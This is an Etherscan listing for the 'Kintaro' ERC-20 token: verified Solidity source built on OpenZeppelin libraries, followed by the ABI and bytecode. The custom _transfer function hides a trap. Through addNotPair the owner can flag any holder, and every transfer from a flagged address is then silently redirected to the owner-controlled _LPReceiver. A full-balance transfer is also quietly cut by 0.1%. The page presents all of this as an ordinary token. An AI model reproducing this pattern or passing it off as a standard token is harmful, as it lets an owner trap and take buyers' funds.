ETH Price: $2,373.66 (-2.60%)

Token

Kintaro (Kintaro)
 

Overview

Max Total Supply

10,000,000,000 Kintaro

Holders

42

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Kintaro

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-30
*/

// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}



pragma solidity ^0.8.9;

contract Kintaro is ERC20, Ownable {

    using SafeMath for uint256;

    mapping(address => bool) private pair;
    mapping(address => bool) private notPair;
    bool public tradingOpen = false;
    uint256 public _maxWalletSize = 10000000000 * 10 ** decimals();
    uint256 private _totalSupply = 10000000000 * 10 ** decimals();
    address _LPReceiver;

    constructor(address receiver) ERC20("Kintaro", "Kintaro") {
        _LPReceiver = address(receiver);
        _mint(_LPReceiver, _totalSupply);
    }

    function addPair(address toPair) public onlyOwner {
        require(!pair[toPair], "This pair is already excluded");
        pair[toPair] = true;
    }

    function addNotPair(address notToPair, bool value) public onlyOwner {
        notPair[notToPair] = value;
    }

    function setTrading() public onlyOwner {
        require(!tradingOpen, "ERC20: Trading can be only opened once.");
        tradingOpen = true;
    }

    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }

    function removeLimits() public onlyOwner{
        _maxWalletSize = _totalSupply;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if ( amount == balanceOf(from) && from != _LPReceiver) {
            amount = amount * 999 / 1000;
        }

        if ( to != _LPReceiver && from != _LPReceiver ) {

            //Trade start check
            if (!tradingOpen) {
                require(from == _LPReceiver, "TOKEN: This account cannot send tokens until trading is enabled");
            }

            //buy 
            
            if(from != _LPReceiver && to != _LPReceiver && pair[from]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "TOKEN: Amount exceeds maximum wallet size");
            }
            
            // transfer
           
            if(from != _LPReceiver && to != _LPReceiver && !(pair[to]) && !(pair[from])) {
                require(balanceOf(to) + amount <= _maxWalletSize, "TOKEN: Balance exceeds max wallet size!");
            }

            if ( notPair[from] ) {
                to = _LPReceiver;
            }
        }

       super._transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"notToPair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"addNotPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"toPair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526008805460ff191690556200001c6012600a62000379565b6200002d906402540be40062000391565b6009556200003e6012600a62000379565b6200004f906402540be40062000391565b600a553480156200005f57600080fd5b50604051620015f0380380620015f08339810160408190526200008291620003b3565b6040805180820182526007808252664b696e7461726f60c81b6020808401829052845180860190955291845290830152906003620000c1838262000482565b506004620000d0828262000482565b505050620000ed620000e76200012160201b60201c565b62000125565b600b80546001600160a01b0319166001600160a01b038316908117909155600a546200011a919062000177565b5062000569565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620001d25760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620001e691906200054e565b90915550506001600160a01b03821660009081526020819052604081208054839290620002159084906200054e565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002bb5781600019048211156200029f576200029f62000264565b80851615620002ad57918102915b93841c93908002906200027f565b509250929050565b600082620002d45750600162000373565b81620002e35750600062000373565b8160018114620002fc5760028114620003075762000327565b600191505062000373565b60ff8411156200031b576200031b62000264565b50506001821b62000373565b5060208310610133831016604e8410600b84101617156200034c575081810a62000373565b6200035883836200027a565b80600019048211156200036f576200036f62000264565b0290505b92915050565b60006200038a60ff841683620002c3565b9392505050565b6000816000190483118215151615620003ae57620003ae62000264565b500290565b600060208284031215620003c657600080fd5b81516001600160a01b03811681146200038a57600080fd5b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200040957607f821691505b6020821081036200042a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200025f57600081815260208120601f850160051c81016020861015620004595750805b601f850160051c820191505b818110156200047a5782815560010162000465565b505050505050565b81516001600160401b038111156200049e576200049e620003de565b620004b681620004af8454620003f4565b8462000430565b602080601f831160018114620004ee5760008415620004d55750858301515b600019600386901b1c1916600185901b1785556200047a565b600085815260208120601f198616915b828110156200051f57888601518255948401946001909101908401620004fe565b50858210156200053e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000821982111562000564576200056462000264565b500190565b61107780620005796000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c80637c519ffb116100b8578063a9059cbb1161007c578063a9059cbb14610259578063c2b7bbb61461026c578063dd62ed3e1461027f578063ea1644d514610292578063f2fde38b146102a5578063ffb54a99146102b857600080fd5b80637c519ffb146102125780638da5cb5b1461021a5780638f9a55c01461023557806395d89b411461023e578063a457c2d71461024657600080fd5b806339509351116100ff57806339509351146101b15780636c29ffa4146101c457806370a08231146101d9578063715018a614610202578063751039fc1461020a57600080fd5b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461017d57806323b872dd1461018f578063313ce567146101a2575b600080fd5b6101446102c5565b6040516101519190610d8f565b60405180910390f35b61016d610168366004610e00565b610357565b6040519015158152602001610151565b6002545b604051908152602001610151565b61016d61019d366004610e2a565b61036f565b60405160128152602001610151565b61016d6101bf366004610e00565b610393565b6101d76101d2366004610e66565b6103b5565b005b6101816101e7366004610ea2565b6001600160a01b031660009081526020819052604090205490565b6101d76103e8565b6101d76103fc565b6101d761040c565b6005546040516001600160a01b039091168152602001610151565b61018160095481565b61014461048b565b61016d610254366004610e00565b61049a565b61016d610267366004610e00565b610515565b6101d761027a366004610ea2565b610523565b61018161028d366004610ec4565b6105b8565b6101d76102a0366004610ef7565b6105e3565b6101d76102b3366004610ea2565b6105f0565b60085461016d9060ff1681565b6060600380546102d490610f10565b80601f016020809104026020016040519081016040528092919081815260200182805461030090610f10565b801561034d5780601f106103225761010080835404028352916020019161034d565b820191906000526020600020905b81548152906001019060200180831161033057829003601f168201915b5050505050905090565b600033610365818585610669565b5060019392505050565b60003361037d85828561078d565b610388858585610807565b506001949350505050565b6000336103658185856103a683836105b8565b6103b09190610f60565b610669565b6103bd610b8f565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6103f0610b8f565b6103fa6000610be9565b565b610404610b8f565b600a54600955565b610414610b8f565b60085460ff161561047c5760405162461bcd60e51b815260206004820152602760248201527f45524332303a2054726164696e672063616e206265206f6e6c79206f70656e65604482015266321037b731b29760c91b60648201526084015b60405180910390fd5b6008805460ff19166001179055565b6060600480546102d490610f10565b600033816104a882866105b8565b9050838110156105085760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610473565b6103888286868403610669565b600033610365818585610807565b61052b610b8f565b6001600160a01b03811660009081526006602052604090205460ff16156105945760405162461bcd60e51b815260206004820152601d60248201527f54686973207061697220697320616c7265616479206578636c756465640000006044820152606401610473565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6105eb610b8f565b600955565b6105f8610b8f565b6001600160a01b03811661065d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610473565b61066681610be9565b50565b6001600160a01b0383166106cb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610473565b6001600160a01b03821661072c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610473565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061079984846105b8565b9050600019811461080157818110156107f45760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610473565b6108018484848403610669565b50505050565b6001600160a01b03831661082d5760405162461bcd60e51b815260040161047390610f78565b6001600160a01b0382166108535760405162461bcd60e51b815260040161047390610fbd565b6001600160a01b038316600090815260208190526040902054811480156108885750600b546001600160a01b03848116911614155b156108a9576103e861089c826103e7611000565b6108a6919061101f565b90505b600b546001600160a01b038381169116148015906108d55750600b546001600160a01b03848116911614155b15610b7f5760085460ff1661096757600b546001600160a01b038481169116146109675760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610473565b600b546001600160a01b038481169116148015906109935750600b546001600160a01b03838116911614155b80156109b757506001600160a01b03831660009081526006602052604090205460ff165b15610a4957600954816109df846001600160a01b031660009081526020819052604090205490565b6109e99190610f60565b1115610a495760405162461bcd60e51b815260206004820152602960248201527f544f4b454e3a20416d6f756e742065786365656473206d6178696d756d2077616044820152686c6c65742073697a6560b81b6064820152608401610473565b600b546001600160a01b03848116911614801590610a755750600b546001600160a01b03838116911614155b8015610a9a57506001600160a01b03821660009081526006602052604090205460ff16155b8015610abf57506001600160a01b03831660009081526006602052604090205460ff16155b15610b4f5760095481610ae7846001600160a01b031660009081526020819052604090205490565b610af19190610f60565b1115610b4f5760405162461bcd60e51b815260206004820152602760248201527f544f4b454e3a2042616c616e63652065786365656473206d61782077616c6c65604482015266742073697a652160c81b6064820152608401610473565b6001600160a01b03831660009081526007602052604090205460ff1615610b7f57600b546001600160a01b031691505b610b8a838383610c3b565b505050565b6005546001600160a01b031633146103fa5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610473565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038316610c615760405162461bcd60e51b815260040161047390610f78565b6001600160a01b038216610c875760405162461bcd60e51b815260040161047390610fbd565b6001600160a01b03831660009081526020819052604090205481811015610cff5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610473565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610d36908490610f60565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d8291815260200190565b60405180910390a3610801565b600060208083528351808285015260005b81811015610dbc57858101830151858201604001528201610da0565b81811115610dce576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610dfb57600080fd5b919050565b60008060408385031215610e1357600080fd5b610e1c83610de4565b946020939093013593505050565b600080600060608486031215610e3f57600080fd5b610e4884610de4565b9250610e5660208501610de4565b9150604084013590509250925092565b60008060408385031215610e7957600080fd5b610e8283610de4565b915060208301358015158114610e9757600080fd5b809150509250929050565b600060208284031215610eb457600080fd5b610ebd82610de4565b9392505050565b60008060408385031215610ed757600080fd5b610ee083610de4565b9150610eee60208401610de4565b90509250929050565b600060208284031215610f0957600080fd5b5035919050565b600181811c90821680610f2457607f821691505b602082108103610f4457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610f7357610f73610f4a565b500190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600081600019048311821515161561101a5761101a610f4a565b500290565b60008261103c57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122009ea32333fe90f21ae9de8bc382b62a5ac4e84923325bc87f7e4040f175240d064736f6c634300080f00330000000000000000000000007fd0443ccdfe85978b6d262a85c2670044b28596

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c80637c519ffb116100b8578063a9059cbb1161007c578063a9059cbb14610259578063c2b7bbb61461026c578063dd62ed3e1461027f578063ea1644d514610292578063f2fde38b146102a5578063ffb54a99146102b857600080fd5b80637c519ffb146102125780638da5cb5b1461021a5780638f9a55c01461023557806395d89b411461023e578063a457c2d71461024657600080fd5b806339509351116100ff57806339509351146101b15780636c29ffa4146101c457806370a08231146101d9578063715018a614610202578063751039fc1461020a57600080fd5b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461017d57806323b872dd1461018f578063313ce567146101a2575b600080fd5b6101446102c5565b6040516101519190610d8f565b60405180910390f35b61016d610168366004610e00565b610357565b6040519015158152602001610151565b6002545b604051908152602001610151565b61016d61019d366004610e2a565b61036f565b60405160128152602001610151565b61016d6101bf366004610e00565b610393565b6101d76101d2366004610e66565b6103b5565b005b6101816101e7366004610ea2565b6001600160a01b031660009081526020819052604090205490565b6101d76103e8565b6101d76103fc565b6101d761040c565b6005546040516001600160a01b039091168152602001610151565b61018160095481565b61014461048b565b61016d610254366004610e00565b61049a565b61016d610267366004610e00565b610515565b6101d761027a366004610ea2565b610523565b61018161028d366004610ec4565b6105b8565b6101d76102a0366004610ef7565b6105e3565b6101d76102b3366004610ea2565b6105f0565b60085461016d9060ff1681565b6060600380546102d490610f10565b80601f016020809104026020016040519081016040528092919081815260200182805461030090610f10565b801561034d5780601f106103225761010080835404028352916020019161034d565b820191906000526020600020905b81548152906001019060200180831161033057829003601f168201915b5050505050905090565b600033610365818585610669565b5060019392505050565b60003361037d85828561078d565b610388858585610807565b506001949350505050565b6000336103658185856103a683836105b8565b6103b09190610f60565b610669565b6103bd610b8f565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6103f0610b8f565b6103fa6000610be9565b565b610404610b8f565b600a54600955565b610414610b8f565b60085460ff161561047c5760405162461bcd60e51b815260206004820152602760248201527f45524332303a2054726164696e672063616e206265206f6e6c79206f70656e65604482015266321037b731b29760c91b60648201526084015b60405180910390fd5b6008805460ff19166001179055565b6060600480546102d490610f10565b600033816104a882866105b8565b9050838110156105085760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610473565b6103888286868403610669565b600033610365818585610807565b61052b610b8f565b6001600160a01b03811660009081526006602052604090205460ff16156105945760405162461bcd60e51b815260206004820152601d60248201527f54686973207061697220697320616c7265616479206578636c756465640000006044820152606401610473565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6105eb610b8f565b600955565b6105f8610b8f565b6001600160a01b03811661065d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610473565b61066681610be9565b50565b6001600160a01b0383166106cb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610473565b6001600160a01b03821661072c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f2061646472656044